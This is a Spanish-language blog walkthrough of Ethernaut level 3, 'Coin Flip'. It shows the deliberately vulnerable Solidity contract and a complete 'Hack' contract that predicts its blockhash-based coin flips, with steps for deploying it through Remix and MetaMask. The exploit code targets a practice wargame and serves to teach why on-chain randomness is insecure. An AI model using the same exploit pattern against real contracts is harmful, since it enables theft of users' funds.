Ethernaut Nivel 3: Coin Flip
ciscodiazo
Posted on January 14, 2023
Level 3: Coin Flip
Este es el nivel 3 del juego Ethernaut.
Requisitos previos
- Blocks en la cadena de bloques de Ethereum
- Solidity - interactuar con un contrato desplegado en una dirección. Lee this o mejor mira this
Atajos
Contrato dado:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Básicamente, necesitamos predecir el resultado del lanzamiento de la moneda correctamente 10 veces seguidas para ganar.
El contrato dado intenta simular el lanzamiento de una moneda al azar generando true
o false
usando el número de bloque de la red (Ropsten en nuestro caso). ¡Pero esto no es realmente aleatorio! Puede consultar muy fácilmente la red para ver el número de bloque actual.
Resulta que la generación de números aleatorios es una de las trampas graves de las cadenas de bloques debido a su naturaleza determinista. Es por eso que existen servicios dedicados para este propósito como Chainlink VRF.
Dado que se puede acceder fácilmente a este número de bloque, también podemos generar el resultado del lanzamiento de una moneda y alimentar este resultado a la function flip
para tener una suposición e incremento correctos consecutiveWins
. Podemos hacer esto porque el tiempo de bloqueo de la red será lo suficientemente largo para que block.number
no cambie entre las llamadas a funciones.
Escribiremos un contrato de solidity en(Remix IDE) con casi el mismo código inicial, agregando al codigo la clase contract Hack{}
y modificamos algunas funciones, veamos:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
CoinFlip private immutable target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = CoinFlip(_target);
}
function flip() external {
bool guess = _guess();
require(target.flip(guess), "guess failed");
}
function _guess() private view returns(bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
}
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
para esta modificación ingresamos a remix IDEen la carpeta contracts
creamos el archivo CoinFlip.sol
y escribimos el codigo anterior.
Regresa a openzeppelin en el nivel - CoinFlip
solicita una instancia, cuando tenga la instancia desde la consola del navegador debera copiarla.
Nuevamente en remix IDE en el archivo CoinFlip.sol
, busca deploy
ubicado en la parte lateral izquierda, y en ENVIRONMENT
, selecciona Injected Provider
, acepta la solicitud de MetaMask
Ahora, en la opción CONTRACT (Compiled by Remix)
selección la clase hack, pega la instancia en Deploy - address _target
y clic en Deploy, y luego la misma instancia la pegamos en At Address
y clickeamos.
Finalmente revisamos Deployed Contracts
donde estara visible Hack
y CoinFlip
.
en CoinFlip
presionamos el boton consecutiveWins
, y en Hack
clic en flip alternativamente y aceptamos desde MetaMask, aparecera el número 1,2... 11, cuando llege a 11, hemos terminado, enviamos la evidencia desde openzeppelin
Posted on January 14, 2023
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.
Related
November 30, 2024